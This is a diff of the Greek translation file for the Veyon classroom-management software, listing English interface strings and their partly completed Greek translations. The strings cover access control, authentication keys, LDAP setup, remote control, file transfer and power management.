+ + Enter username + Εισάγετε όνομα χρήστη + + + Please enter a user login name whose access permissions to test: + Παρακαλώ εισαγάγετε ένα όνομα σύνδεσης χρήστη, του οποίου τα δικαιώματα πρόσβασης θα ελεγχθούν: + + + Access allowed + Επιτρέπεται η πρόσβαση + + + The specified user is allowed to access computers with this configuration. + + + + Access denied + Δεν επιτρέπεται η πρόσβαση + + + The specified user is not allowed to access computers with this configuration. + + + + Enable usage of domain groups + + + + User groups backend: + + + + Missing user groups backend + + + + No default user groups plugin was found. Please check your installation! + + + + + AccessControlRuleEditDialog + + Edit access control rule + + + + General + Γενικά + + + enter a short name for the rule here + γράψτε ένα σύντομο όνομα για τον κανόνα + + + Rule name: + Όνομα κανόνα: + + + enter a description for the rule here + γράψτε μια περιγραφή για τον κανόνα εδώ + + + Rule description: + Περιγραφή κανόνα: + + + Invert all conditions ("is/has" interpreted as "is/has not") + Αντιστροφή όλων των συνθηκών ("είναι/έχει" θα είναι "δεν είναι/δεν έχει") + + + Conditions + Συνθήκες + + + is member of group + είναι μέλος της ομάδας + + + is located in room + είναι στην αίθουσα + + + Accessing computer is localhost + + + + Accessing user is logged on user + + + + Accessing user is already connected + + + + If more than one condition is activated each condition has to meet in order to make the rule apply (logical AND). If only one of multiple conditions has to meet (logical OR) please create multiple access control rules. + + + + Action + Ενέργεια + + + Allow access + Επιτρέπεται η πρόσβαση + + + Deny access + Άρνηση πρόσβασης + + + Ask logged on user for permission + + + + None (rule disabled) + Καμία (κανόνας απενεργοποιημένος) + + + Accessing user + + + + Accessing computer + + + + Local (logged on) user + + + + Local computer + Τοπικός υπολογιστής + + + Always process rule and ignore conditions + + + + No user logged on + + + + Accessing computer is located in the same room as local computer + + + + Accessing user has one or more groups in common with local (logged on) user + + + + + AccessControlRulesTestDialog + + Access control rules test + + + + Accessing user: + + + + Local computer: + Τοπικός υπολογιστής: + + + Accessing computer: + + + + Please enter the following user and computer information in order to test the configured ruleset. + + + + Local user: + Τοπικός χρήστης: + + + Connected users: + Συνδεδεμένοι χρήστες: + + + The access in the given scenario is allowed. + + + + The access in the given scenario is denied. + + + + The access in the given scenario needs permission of the logged on user. + + + + ERROR: Unknown action + + + + Test result + Αποτέλεσμα δοκιμής + + + + AuthKeysConfigurationPage + + Authentication keys + + + + Introduction + Εισαγωγή + + + Key file directories + + + + Public key file base directory + + + + Private key file base directory + + + + ... + ... + + + Available authentication keys + + + + Create key pair + + + + Delete key + Διαγραφή κλειδιού + + + Import key + Εισαγωγή κλειδιού + + + Export key + Εξαγωγή κλειδιού + + + Set access group + + + + Key files (*.pem) + Αρχεία κλειδιού (*.pem) + + + Authentication key name + + + + Please enter the name of the user group or role for which to create an authentication key pair: + + + + Do you really want to delete authentication key "%1/%2"? + + + + Please select a key to delete! + Επιλέξτε ένα κλειδί για διαγραφή! + + + Please enter the name of the user group or role for which to import the authentication key: + + + + Please select a key to export! + Επιλέξτε ένα κλειδί για εξαγωγή! + + + Please select a user group which to grant access to key "%1": + + + + Please select a key which to set the access group for! + + + + Please perform the following steps to set up key file authentication: + + + + 1) Create a key pair on the master computer. + + + + 2) Set an access group whose members should be allowed to access other computers. + + + + 3) Export the public key and import it on all client computers with the same name. + + + + Please refer to the <a href="https://veyon.readthedocs.io/en/latest/admin/index.html">Veyon Administrator Manual</a> for more information. + + + + An authentication key pair consist of two coupled cryptographic keys, a private and a public key. +A private key allows users on the master computer to access client computers. +It is important that only authorized users have read access to the private key file. +The public key is used on client computers to authenticate incoming connection request. + + + + + AuthKeysManager + + Please check your permissions. + Ελέγξτε τα δικαιώματά σας. + + + Key name contains invalid characters! + + + + Invalid key type specified! Please specify "%1" or "%2". + + + + Specified key does not exist! Please use the "list" command to list all installed keys. + + + + One or more key files already exist! Please delete them using the "delete" command. + + + + Creating new key pair for "%1" + + + + Failed to create public or private key! + + + + Newly created key pair has been saved to "%1" and "%2". + + + + Could not remove key file "%1"! + + + + Could not remove key file directory "%1"! + + + + Failed to create directory for output file. + + + + File "%1" already exists. + + + + Failed to write output file. + + + + Key "%1/%2" has been exported to "%3" successfully. + + + + Failed read input file. + + + + File "%1" does not contain a valid private key! + + + + File "%1" does not contain a valid public key! + + + + Failed to create directory for key file. + + + + Failed to write key file "%1". + + + + Failed to set permissions for key file "%1"! + + + + Key "%1/%2" has been imported successfully. Please check file permissions of "%3" in order to prevent unauthorized accesses. + + + + Failed to convert private key to public key + + + + Failed to create directory for private key file "%1". + + + + Failed to save private key in file "%1"! + + + + Failed to set permissions for private key file "%1"! + + + + Failed to create directory for public key file "%1". + + + + Failed to save public key in file "%1"! + + + + Failed to set permissions for public key file "%1"! + + + + Failed to set owner of key file "%1" to "%2". + + + + Failed to set permissions for key file "%1". + + + + Key "%1" is now accessible by user group "%2". + + + + <N/A> + + + + Failed to read key file. + + + + + AuthKeysPlugin + + Create new authentication key pair + + + + Delete authentication key + + + + List authentication keys + + + + Import public or private key + + + + Export public or private key + + + + Extract public key from existing private key + + + + Set user group allowed to access a key + + + + KEY + + + + ACCESS GROUP + + + + This command adjusts file access permissions to <KEY> such that only the user group <ACCESS GROUP> has read access to it. + + + + NAME + + + + This command creates a new authentication key pair with name <NAME> and saves private and public key to the configured key directories. + + + + This command deletes the authentication key <KEY> from the configured key directory. Please note that a key can't be recovered once deleted. + + + + FILE + + + + This command exports the authentication key <KEY> to <FILE>. If <FILE> is not specified a name will be constructed from name and type of <KEY>. + + + + This command imports the authentication key <KEY> from <FILE>. If <FILE> is not specified a name will be constructed from name and type of <KEY>. + + + + This command lists all available authentication keys in the configured key directory. If the option "%1" is specified a table with key details will be displayed instead. Some details might be missing if a key is not accessible e.g. due to the lack of read permissions. + + + + This command extracts the public key part from the private key <KEY> and saves it as the corresponding public key. + + + + Please specify the command to display help for! + + + + TYPE + + + + PAIR ID + + + + Command line support for managing authentication keys + + + + Commands for managing authentication keys + + + + + AuthKeysTableModel + + Name + Όνομα + + + Type + + + + Access group + + + + Pair ID + + + + + BuiltinDirectoryConfigurationPage + + Rooms & computers + Αίθουσες & υπολογιστές + + + Rooms + Αίθουσες + + + Computers + Υπολογιστές + + + Name + Όνομα + + + Host address/IP + Διεύθυνση ΙΡ + + + MAC address + Διεύθυνση MAC + + + Add new room + Προσθήκη αίθουσας + + + Remove selected room + Διαγραφή της επιλεγμένης αίθουσας + + + Add new computer + Προσθήκη υπολογιστή + + + Remove selected computer + Διαγραφή του επιλεγμένου υπολογιστή + + + New room + Καινούρια αίθουσα + + + New computer + Καινούριος υπολογιστής + + + Builtin directory + + + + + BuiltinDirectoryPlugin + + Show help for specific command + + + + Add a room or computer + + + + Clear all rooms and computers + + + + Dump all or individual rooms and computers + + + + List all rooms and computers + + + + Remove a room or computer + + + + Import objects from given file + + + + Export objects to given file + + + + Invalid type specified. Valid values are "%1" or "%2". + + + + Type + + + + Name + Όνομα + + + Host address + + + + MAC address + Διεύθυνση MAC + + + Specified object not found. + + + + File "%1" does not exist! + + + + Can't open file "%1" for reading! + + + + Unknown argument "%1". + + + + Room "%1" + + + + Computer "%1" (host address: "%2" MAC address: "%3") + + + + Unclassified object "%1" with ID "%2" + + + + None + + + + Room + + + + Computer + + + + Root + + + + Invalid + + + + Error while parsing line %1. + + + + Network object directory which stores objects in local configuration + + + + Builtin (computers and rooms in local configuration) + + + + Commands for managing the builtin network object directory + + + + No format string or regular expression specified! + + + + Can't open file "%1" for writing! + + + + No format string specified! + + + + +USAGE + +%1 export <FILE> [room <ROOM>] [format <FORMAT-STRING-WITH-VARIABLES>] + +Valid variables: %type% %name% %host% %mac% %room% + +Examples: + +* Export all objects to a CSV file: + + %1 export objects.csv format "%type%;%name%;%host%;%mac%" + +* Export all computers in a room to a CSV file: + + %1 export computers.csv room "Room 01" format "%name%;%host%;%mac%" + + + + + + +USAGE + +%1 add <TYPE> <NAME> [<HOST ADDRESS> <MAC ADDRESS> <PARENT>] + +Adds an object where TYPE can be one of "%2" or "%3". PARENT can be specified by name or UUID. + +Examples: + +* Add a room: + + %1 add room "Room 01" + +* Add a computer to room "Room 01": + + %1 add computer "Computer 01" comp01.example.com 11:22:33:44:55:66 "Room 01" + + + + + + +USAGE + +%1 remove <OBJECT> + +Removes the specified object from the directory. OBJECT can be specified by name or UUID. Removing a room will also remove all computers inside. + +Examples: + +* Remove a computer by name: + + %1 remove "Computer 01" + +* Remove an object by UUID: + + %1 remove 068914fc-0f87-45df-a5b9-099a2a6d9141 + + + + + + Object UUID + + + + Parent UUID + + + + +USAGE + +%1 import <FILE> [room <ROOM>] [format <FORMAT-STRING-WITH-VARIABLES>] [regex <REGULAR-EXPRESSION-WITH-VARIABLES>] + +Valid variables: %type% %name% %host% %mac% %room% + +Examples: + +* Import simple CSV file to a single room: + + %1 import computers.csv room "Room 01" format "%name%;%host%;%mac%" + +* Import CSV file with room name in first column: + + %1 import computers-with-rooms.csv format "%room%,%name%,%mac%" + +* Import text file with with key/value pairs using regular expressions: + + %1 import hostlist.txt room "Room 01" regex "^NAME:(%name%:.*)\s+HOST:(%host%:.*)$" + +* Import arbitrarily formatted data: + + %1 import data.txt regex '^"(%room%:[^"]+)";"(%host%:[a-z\d\.]+)".*$' + + + + + + BuiltinUltraVncServer + + Builtin VNC server (UltraVNC) + + + + + BuiltinX11VncServer + + Builtin VNC server (x11vnc) + + + + + ComputerControlListModel + + Room: %1 + Αίθουσα: %1 + + + Host/IP address: %1 + + + + Active features: %1 + + + + Online and connected + + + + Establishing connection + + + + Computer offline or switched off + + + + Service unreachable or not running + + + + Authentication failed or access denied + + + + Disconnected + + + + No user logged on + + + + Logged on user: %1 + + + + + ComputerControlServer + + %1 Service %2 at %3:%4 + + + + Authentication error + + + + Remote access + Απομακρυσμένη πρόσβαση + + + User "%1" at host "%2" is now accessing this computer. + + + + User "%1" at host "%2" attempted to access this computer but could not authenticate successfully! + + + + + ComputerManagementView + + Computer management + Διαχείριση υπολογιστή + + + Add room + Προσθήκη αίθουσας + + + Save computer/user list + + + + Select output filename + + + + CSV files (*.csv) + + + + File error + + + + Could not write the computer and users list to %1! Please check the file access permissions. + + + + Computer search + Αναζήτηση υπολογιστή + + + + ComputerManager + + User + Χρήστης + + + Missing network object directory plugin + + + + No default network object directory plugin was found. Please check your installation or configure a different network object directory backend via %1 Configurator. + + + + Computer name;Host name;User + + + + Room detection failed + + + + Could not determine the room which this computer belongs to. This indicates a problem with the system configuration. All rooms will be shown in the computer management instead. + + + + + ConfigCommandLinePlugin + + Please specify an existing configuration file to import. + + + + Please specify a valid filename for the configuration export. + + + + Please specify a valid key. + + + + Specified key does not exist in current configuration! + + + + Please specify a valid value. + + + + Configure Veyon at command line + + + + Output file is not writable! + + + + Output directory is not writable! + + + + Configuration file is not readable! + + + + Clear system-wide Veyon configuration + + + + List all configuration keys and values + + + + Import configuration from given file + + + + Export configuration to given file + + + + Read and output configuration value for given key + + + + Write given value to given configuration key + + + + Unset (remove) given configuration key + + + + Commands for managing the configuration of Veyon + + + + Upgrade and save configuration of program and plugins + + + + + ConfigurationManager + + Could not modify the autostart property for the %1 Service. + + + + Could not configure the firewall configuration for the %1 Server. + + + + Could not configure the firewall configuration for the %1 Worker. + + + + Could not change the setting for SAS generation by software. Sending Ctrl+Alt+Del via remote control will not work! + + + + Configuration is not writable. Please check your permissions! + + + + + DemoClient + + %1 Demo + + + + + DemoConfigurationPage + + Demo server + + + + Tunables + + + + ms + ms + + + Key frame interval + + + + Memory limit + + + + Use multithreading (experimental) + + + + MB + ΜΒ + + + Update interval + Διάστημα ανανέωσης + + + s + s + + + + DemoFeaturePlugin + + Fullscreen demo + Παρουσίαση σε πλήρη οθόνη + + + Stop demo + Διακοπή παρουσίασης + + + Window demo + Παρουσίαση σε παράθυρο + + + Give a demonstration by screen broadcasting + Κάντε μια παρουσίαση μεταδίδοντας το περιεχόμενο της οθόνης σας + + + Demo server + + + + In this mode your screen is being displayed in fullscreen mode on all computers while input devices of the users are locked. + + + + In this mode your screen being displayed in a window on all computers. The users are able to switch to other windows as needed. + + + + + DesktopAccessDialog + + Desktop access dialog + + + + Confirm desktop access + + + + Never for this session + Ποτέ για αυτήν την συνεδρία + + + Always for this session + Πάντα για αυτήν την συνεδρία + + + The user %1 at computer %2 wants to access your desktop. Do you want to grant access? + + + + + DesktopServicesConfigurationPage + + Programs & websites + + + + Predefined programs + + + + Name + Όνομα + + + Path + + + + Add new program + + + + Remove selected program + + + + Predefined websites + + + + Remove selected website + + + + URL + + + + New program + + + + New website + + + + + DesktopServicesFeaturePlugin + + Run program + Εκτέλεση προγράμματος + + + Open website + Άνοιγμα ιστοχώρου + + + Click this button to open a website on all computers. + Πατήστε το κουμπί για να ανοίξετε έναν ιστοχώρο σε όλους τους υπολογιστές. + + + Please enter the URL of the website to open: + Πληκτρολογήστε την διεύθυνση του ιστοχώρου που θέλετε να ανοίξετε: + + + Start programs and services in user desktop + + + + Click this button to run a program on all computers. + + + + Run program "%1" + + + + Custom program + + + + Open website "%1" + + + + Custom website + + + + + ExternalVncServer + + External VNC server + Εξωτερικός διακομιστής VNC + + + + ExternalVncServerConfigurationWidget + + External VNC server configuration + Ρυθμίσεις εξωτερικού διακομιστή VNC + + + Port: + Πόρτα: + + + Password: + Κωδικός πρόσβασης: + + + + FeatureControl + + Feature control + + + + + FileTransferController + + Could not open file "%1" for reading! Please check your permissions! + + + + + FileTransferDialog + + File transfer + + + + Options + + + + Transfer only + + + + Transfer and open file(s) with associated program + + + + Transfer and open destination folder + + + + Files + + + + Start + + + + Overwrite existing files + + + + + FileTransferPlugin + + File transfer + + + + Click this button to transfer files from your computer to all computers. + + + + Select one or more files to transfer + + + + Transfer files to remote computer + + + + Received file "%1". + + + + Could not receive file "%1" as it already exists. + + + + Could not receive file "%1" as it could not be opened for writing! + + + + + GeneralConfigurationPage + + User interface + Διεπαφή χρήστη + + + Language: + Γλώσσα: + + + Use system language setting + Χρήση της γλώσσας του συστήματος + + + Veyon + Veyon + + + Logging + Καταγραφή συμβάντων + + + Log file directory + Φάκελος αρχείου καταγραφής + + + ... + ... + + + Log level + Λεπτομέρεια αρχείου καταγραφής + + + Nothing + Τίποτα + + + Only critical messages + Μόνο τα κρίσιμα μηνύματα + + + Errors and critical messages + Σφάλματα και κρίσιμα μηνύματα + + + Warnings and errors + Προειδοποιήσεις και σφάλματα + + + Information, warnings and errors + Πληροφορίες, προειδοποιήσεις και σφάλματα + + + Debug messages and everything else + + + + Limit log file size + Μέγεθος αρχείου καταγραφής + + + Clear all log files + + + + Log to standard error output + + + + Network object directory + + + + Backend: + + + + Update interval: + Ρυθμός ανανέωσης: + + + %1 service + υπηρεσία %1 + + + The %1 service needs to be stopped temporarily in order to remove the log files. Continue? + + + + Log files cleared + + + + All log files were cleared successfully. + Η εκκαθάριση των αρχείων καταγραφής έγινε με επιτυχία. + + + Error + Σφάλμα + + + Could not remove all log files. + + + + MB + ΜΒ + + + Rotate log files + + + + x + x + + + seconds + δευτερόλεπτα + + + Write to logging system of operating system + + + + Authentication + + + + Method: + + + + Logon authentication + + + + Key file authentication + + + + + InternetAccessControlConfigurationPage + + Internet access control + + + + Backend: + + + + General settings + + + + Backend settings + + + + + InternetAccessControlPlugin + + Block access to the internet + + + + Allow access to the internet + + + + Show help about command + Εμφάνιση βοήθειας για την εντολή + + + Block internet + + + + Click this button to block access to the internet. + + + + Unblock internet + + + + Click this button to allow access to the internet. + + + + Control access to the internet + + + + Commands for controlling access to the internet + + + + + LdapBrowseDialog + + Browse LDAP + + + + + LdapClient + + LDAP error description: %1 + + + + No LDAP error description available + + + + + LdapConfigurationPage + + LDAP + LDAP + + + Basic settings + Βασικές ρυθμίσεις + + + General + Γενικά + + + LDAP server and port + Διακομιστής και πόρτα LDAP + + + Bind DN + + + + Bind password + + + + Anonymous bind + + + + Use bind credentials + + + + Test + Δοκιμή + + + Base DN + + + + Fixed base DN + + + + e.g. dc=example,dc=org + + + + Discover base DN by naming context + + + + e.g. namingContexts or defaultNamingContext + + + + Environment settings + + + + Object trees + + + + Computer tree + + + + e.g. OU=Groups + + + + User tree + + + + e.g. OU=Users + + + + e.g. OU=Computers + + + + Group tree + + + + Perform recursive search operations in object trees + + + + Object attributes + + + + e.g. hwAddress + + + + Computer host name attribute + + + + e.g. member or memberUid + + + + User login attribute + + + + e.g. dNSHostName + + + + Computer MAC address attribute + + + + Group member attribute + + + + e.g. uid or sAMAccountName + + + + Host names stored as fully qualified domain names (FQDN, e.g. myhost.example.org) + + + + Advanced settings + + + + Optional object filters + + + + Filter for user groups + + + + Filter for users + + + + Filter for computer groups + + + + Group member identification + + + + Distinguished name (Samba/AD) + + + + Configured attribute for user login or computer host name (OpenLDAP) + + + + List all groups of a user + + + + List all groups of a computer + + + + Get computer object by IP address + + + + LDAP connection failed + + + + LDAP bind failed + + + + LDAP bind successful + + + + Successfully connected to the LDAP server and performed an LDAP bind. The basic LDAP settings are configured correctly. + + + + LDAP base DN test failed + + + + LDAP base DN test successful + + + + LDAP naming context test failed + + + + LDAP naming context test successful + + + + The LDAP naming context has been queried successfully. The following base DN was found: +%1 + + + + user tree + + + + group tree + + + + computer tree + + + + Enter username + Εισάγετε όνομα χρήστη + + + Please enter a user login name (wildcards allowed) which to query: + + + + user objects + + + + user login attribute + + + + Enter group name + + + + Please enter a group name whose members to query: + + + + group members + μέλη ομάδας + + + group member attribute + + + + Group not found + Δεν βρέθηκε η ομάδα + + + Could not find a group with the name "%1". Please check the group name or the group tree parameter. + + + + Enter computer name + + + + Please enter a computer host name to query: + + + + Invalid host name + + + + You configured computer host names to be stored as fully qualified domain names (FQDN) but entered a host name without domain. + + + + You configured computer host names to be stored as simple host names without a domain name but entered a host name with a domain name part. + + + + computer objects + + + + computer host name attribute + + + + Enter computer DN + + + + Please enter the DN of a computer whose MAC address to query: + + + + computer MAC addresses + + + + computer MAC address attribute + + + + users + χρήστες + + + user groups + ομάδες χρηστών + + + computer groups + ομάδες υπολογιστών + + + Please enter a user login name whose group memberships to query: + + + + groups of user + + + + user login attribute or group membership attribute + + + + User not found + + + + Could not find a user with the name "%1". Please check the user name or the user tree parameter. + + + + Enter host name + + + + Please enter a computer host name whose group memberships to query: + + + + groups of computer + + + + computer host name attribute or group membership attribute + + + + Computer not found + + + + Could not find a computer with the host name "%1". Please check the host name or the computer tree parameter. + + + + Enter computer IP address + + + + Please enter a computer IP address which to resolve to an computer object: + + + + Host name lookup failed + + + + Could not lookup host name for IP address %1. Please check your DNS server settings. + + + + computers + υπολογιστές + + + LDAP %1 test failed + + + + Could not query any entries in configured %1. Please check the %1 parameter. + +%2 + + + + LDAP %1 test successful + + + + The %1 has been queried successfully and %2 entries were found. + + + + Could not query any %1. Please check the %2 parameter or enter the name of an existing object. + +%3 + + + + %1 %2 have been queried successfully: + +%3 + + + + LDAP filter test failed + + + + Could not query any %1 using the configured filter. Please check the LDAP filter for %1. + +%2 + + + + LDAP filter test successful + + + + %1 %2 have been queried successfully using the configured filter. + + + + (only if different from group tree) + + + + Computer group tree + + + + computer group tree + + + + Filter for computers + + + + e.g. room or computerLab + + + + List all members of a computer room + Προβολή όλων των υπολογιστών μιας αίθουσας + + + List all computer rooms + Προβολή όλων των αιθουσών + + + Enter computer room name + Εισάγετε το όνομα της αίθουσας + + + Please enter the name of a computer room (wildcards allowed): + + + + computer rooms + αίθουσες υπολογιστών + + + computer room attribute + + + + Please enter the name of a computer room whose members to query: + + + + computer room members + + + + computer group filter or computer room member aggregation + + + + Computer rooms + Αίθουσες υπολογιστών + + + Integration tests + + + + Computer room attribute + + + + Aggregate computers in a room via: + + + + Computer groups + + + + Computer room attribute in computer objects + + + + Test not applicable + + + + Computer room name attribute + + + + e.g. name or description + + + + Filter for computer containers + + + + Computer containers or OUs + + + + Please change the computer room settings to use computer groups or computer containers as computer rooms. Then the specified attribute instead of the common name of computer groups or container objects will be queried. Otherwise you don't need to configure this attribute. + + + + Please change the computer room settings below to use computer containers as computer rooms. Otherwise you don't need to configure this filter. + + + + Connection security + + + + TLS certificate verification + + + + System defaults + + + + Never (insecure!) + + + + Custom CA certificate file + + + + None + + + + TLS + + + + SSL + + + + e.g. (objectClass=computer) + + + + e.g. (objectClass=group) + + + + e.g. (objectClass=person) + + + + e.g. (objectClass=room) or (objectClass=computerLab) + + + + e.g. (objectClass=container) or (objectClass=organizationalUnit) + + + + Could not query the configured base DN. Please check the base DN parameter. + +%1 + + + + The LDAP base DN has been queried successfully. The following entries were found: + +%1 + + + + Could not query the base DN via naming contexts. Please check the naming context attribute parameter. + +%1 + + + + Certificate files (*.pem) + + + + Could not connect to the LDAP server. Please check the server parameters. + +%1 + + + + Could not bind to the LDAP server. Please check the server parameters and bind credentials. + +%1 + + + + Encryption protocol + + + + + LdapPlugin + + Auto-configure the base DN via naming context + + + + Query objects from LDAP directory + + + + Show help about command + Εμφάνιση βοήθειας για την εντολή + + + Commands for configuring and testing LDAP/AD integration + + + + Provide LDAP/AD integration for Veyon + + + + LDAP (load computers and rooms from LDAP/AD) + + + + LDAP (load users and groups from LDAP/AD) + + + + + LicensingConfigurationPage + + Licensing + + + + Installed licenses + + + + Add new network range + + + + Remove selected network range + + + + ID + + + + Feature + + + + Valid until + + + + Licensee + + + + Browse license file + + + + Veyon license files (*.vlf) + + + + Remove license + + + + Do you really want to remove the selected license? + + + + <N/A> + + + + Invalid license file + + + + Could not open the license file for reading! + + + + The selected license file does not contain valid data. + + + + The selected license file could not be verified. + + + + The selected license file is not valid for this installation. + + + + The selected license file is expired. + + + + The license is already installed. + + + + + LicensingPlugin + + Show help for specific command + + + + Show all installed licenses + + + + Add license file + + + + Remove installed license + + + + +USAGE + +%1 add <LICENSE FILE> + + + + + + +USAGE + +%1 remove <LICENSE ID> + + + + + + No certificate found with given ID + + + + <N/A> + + + + Licensing management + + + + Commands for managing license keys + + + + + LinuxPlatformPlugin + + Plugin implementing abstract functions for the Linux platform + + + + + MainToolBar + + Configuration + Ρυθμίσεις + + + Disable balloon tooltips + + + + Show icons only + Προβολή μόνο των εικονιδίων + + + + MainWindow + + MainWindow + + + + toolBar + + + + General + Γενικά + + + &File + &Αρχείο + + + &Help + &Βοήθεια + + + &Quit + &Έξοδος + + + Ctrl+Q + Ctrl+Q + + + Ctrl+S + Ctrl+S + + + L&oad settings from file + + + + Ctrl+O + Ctrl+O + + + About Qt + Σχετικά με το Qt + + + Authentication impossible + + + + Configuration not writable + + + + Load settings from file + + + + Save settings to file + Αποθήκευση ρυθμίσεων σε αρχείο + + + Unsaved settings + Μη αποθηκευμένες ρυθμίσεις + + + There are unsaved settings. Quit anyway? + Υπάρχουν ρυθμίσεις που δεν έχουν αποθηκευτεί. Να γίνει έξοδος; + + + Veyon Configurator + + + + Service + Υπηρεσία + + + Master + + + + Access control + Έλεγχος πρόσβασης + + + About Veyon + Σχετικά με το Veyon + + + Auto + Αυτόματα + + + Computer rooms + Αίθουσες υπολογιστών + + + About + Σχετικά + + + %1 Configurator %2 + + + + JSON files (*.json) + + + + The local configuration backend reported that the configuration is not writable! Please run the %1 Configurator with higher privileges. + + + + No authentication key files were found or your current ones are outdated. Please create new key files using the %1 Configurator. Alternatively set up logon authentication using the %1 Configurator. Otherwise you won't be able to access computers using %1. + + + + Access denied + Δεν επιτρέπεται η πρόσβαση + + + According to the local configuration you're not allowed to access computers in the network. Please log in with a different account or let your system administrator check the local configuration. + + + + Screenshots + Στιγμιότυπα + + + Feature active + + + + The feature "%1" is still active. Please stop it before closing %2. + + + + Reset configuration + Επαναφορά ρυθμίσεων + + + Do you really want to reset the local configuration and revert all settings to their defaults? + + + + Search users and computers + + + + Adjust optimal size + + + + Align computers to grid + + + + Use custom computer placement + + + + %1 Configurator + + + + Insufficient privileges + + + + Could not start with administrative privileges. Please make sure a sudo-like program is installed for your desktop environment! The program will be run with normal user privileges. + + + + Only show powered on computers + + + + &Save settings to file + + + + &View + + + + &Standard + + + + &Advanced + + + + + MasterConfigurationPage + + Directories + Φάκελοι + + + ... + ... + + + User configuration + + + + Feature on computer double click: + + + + Automatically switch to current room at start + + + + Features + + + + All features + + + + Disabled features + + + + Perform access control at program start + + + + Screenshots + Στιγμιότυπα + + + <no feature> + + + + Automatically adjust computer thumbnail size at start + + + + Basic settings + Βασικές ρυθμίσεις + + + Behaviour + Συμπεριφορά + + + Enforce selected mode for client computers + + + + Only show current room + Προβολή μόνο της τρέχουσας αίθουσας + + + Allow adding rooms manually + Να επιτρέπεται η προσθήκη αιθουσών χειροκίνητα + + + Hide local computer + Απόκρυψη τοπικού υπολογιστή + + + Hide empty rooms + Απόκρυψη κενών αιθουσών + + + Hide computer filter field + + + + Actions such as rebooting or powering down computers + + + + Show confirmation dialog for potential dangerous actions + + + + User interface + Διεπαφή χρήστη + + + Background color + + + + Thumbnail update interval + + + + ms + ms + + + Program start + + + + Modes and features + + + + User and computer name + + + + Only user name + + + + Only computer name + + + + Computer thumbnail caption + + + + Computer rooms + Αίθουσες υπολογιστών + + + Automatically open computer rooms widget + + + + Text color + + + + Sort order + + + + Computer and user name + + + + + MonitoringMode + + Monitoring + + + + Builtin monitoring mode + + + + This is the default mode and allows you to monitor all computers in one or more rooms. + + + + + NetworkDiscoveryConfigurationPage + + Network discovery + + + + Mode + + + + Scan network ranges + + + + e.g. 192.168.1.0/24 + + + + Scan all subnets of computer + + + + Scan custom subnet + + + + Scan sessions on local computer + + + + Test + Δοκιμή + + + Network ranges + + + + Add new group + + + + Remove selected group + + + + Groups + + + + First address + + + + Last address + + + + Add new network range + + + + Remove selected network range + + + + Parallel scans + + + + Scan timeout + + + + ms + ms + + + Session scan limit + + + + New group + + + + Options + + + + Reverse lookup discovered IP addresses to host names + + + + + NetworkDiscoveryDirectory + + Scanning... + + + + Discovered computers + + + + + NetworkDiscoveryPlugin + + Show help for specific command + + + + Scan a subnet + + + + +USAGE + +%1 scan [<SUBNET>] + + + + + + Network object directory which automatically discovers computers in the network + + + + Network discovery (scan network for Veyon clients) + + + + Commands for managing the network discovery directory + + + + + NetworkObjectTreeModel + + Room/Computer + + + + + PasswordDialog + + Username + Όνομα χρήστη + + + Password + Κωδικός πρόσβασης + + + Veyon Logon + + + + Authentication error + + + + Logon failed with given username and password. Please try again! + + + + Please enter your username and password in order to access computers. + + + + + PowerControlFeaturePlugin + + Power on + + + + Click this button to power on all computers. This way you do not have to power on each computer by hand. + + + + Reboot + Επανεκκίνηση + + + Click this button to reboot all computers. + Πατήστε το κουμπί για την επανεκκίνηση όλων των υπολογιστών. + + + Power down + + + + Click this button to power down all computers. This way you do not have to power down each computer by hand. + + + + Power on/down or reboot a computer + + + + Confirm reboot + Επιβεβαίωση επανεκκίνησης + + + Confirm power down + + + + Do you really want to reboot the selected computers? + + + + Do you really want to power down the selected computer? + + + + Power on a computer via Wake-on-LAN (WOL) + + + + MAC ADDRESS + + + + This command broadcasts a Wake-on-LAN (WOL) packet to the network in order to power on the computer with the given MAC address. + + + + Please specify the command to display help for! + + + + Invalid MAC address specified! + + + + Commands for controlling power status of computers + + + + + RemoteAccessFeaturePlugin + + Remote view + + + + Open a remote view for a computer without interaction. + + + + Remote control + Απομακρυσμένος έλεγχος + + + Open a remote control window for a computer. + Άνοιγμα ενός παράθυρου για τον απομακρυσμένο έλεγχο ενός υπολογιστή. + + + Remote access + Απομακρυσμένη πρόσβαση + + + Remote view or control a computer + Απομακρυσμένος έλεγχος/προβολή ενός υπολογιστή + + + Please enter the hostname or IP address of the computer to access: + + + + Show help about command + Εμφάνιση βοήθειας για την εντολή + + + + RemoteAccessWidget + + %1 - %2 Remote Access + + + + + RemoteAccessWidgetToolBar + + View only + Προβολή μόνο + + + Remote control + Απομακρυσμένος έλεγχος + + + Send shortcut + Αποστολή συντόμευσης + + + Fullscreen + Πλήρης οθόνη + + + Window + Παράθυρο + + + Quit + Έξοδος + + + Ctrl+Alt+Del + Ctrl+Alt+Del + + + Ctrl+Esc + Ctrl+Esc + + + Alt+Tab + Alt+Tab + + + Alt+F4 + Alt+F4 + + + Win+Tab + Win+Tab + + + Win + Win + + + Menu + Μενού + + + Alt+Ctrl+F1 + Alt+Ctrl+F1 + + + Connecting %1 + Σύνδεση σε %1 + + + Connected. + Συνδεδεμένος + + + Screenshot + Στιγμιότυπο + + + + RoomSelectionDialog + + Room selection + Επιλογή αίθουσας + + + enter search filter... + + + + + Routing + + Control internet access by modifying routing table + + + + + RoutingConfigurationWidget + + Remove default routes to block internet access + + + + Add custom route to block internet + + + + Destination + + + + Gateway + + + + + RunProgramDialog + + Please enter the programs or commands to run on the selected computer(s). You can separate multiple programs/commands by line. + + + + Run programs + Εκτέλεση προγραμμάτων + + + e.g. "C:\Program Files\VideoLAN\VLC\vlc.exe" + + + + + ScreenLockFeaturePlugin + + Lock + Κλείδωμα + + + Unlock + Ξεκλείδωμα + + + Lock screen and input devices of a computer + + + + To reclaim all user's full attention you can lock their computers using this button. In this mode all input devices are locked and the screens are blacked. + + + + + Screenshot + + unknown + άγνωστο + + + Could not take a screenshot as directory %1 doesn't exist and couldn't be created. + + + + Screenshot + Στιγμιότυπο + + + + ScreenshotFeaturePlugin + + Screenshot + Στιγμιότυπο + + + Use this function to take a screenshot of selected computers. + + + + Screenshots taken + + + + Screenshot of %1 computer have been taken successfully. + + + + Take screenshots of computers and save them locally. + + + + + ScreenshotManagementView + + User: + Χρήστης: + + + Date: + Ημερομηνία: + + + Time: + Ώρα: + + + Show + Προβολή + + + Delete + Διαγραφή + + + All screenshots taken by you are listed here. You can take screenshots by clicking the "Screenshot" item in the context menu of a computer. The screenshots can be managed using the buttons below. + + + + Computer: + Υπολογιστής: + + + + ServiceConfigurationPage + + General + Γενικά + + + Autostart + Αυτόματη έναρξη + + + Hide tray icon + Απόκρυψη 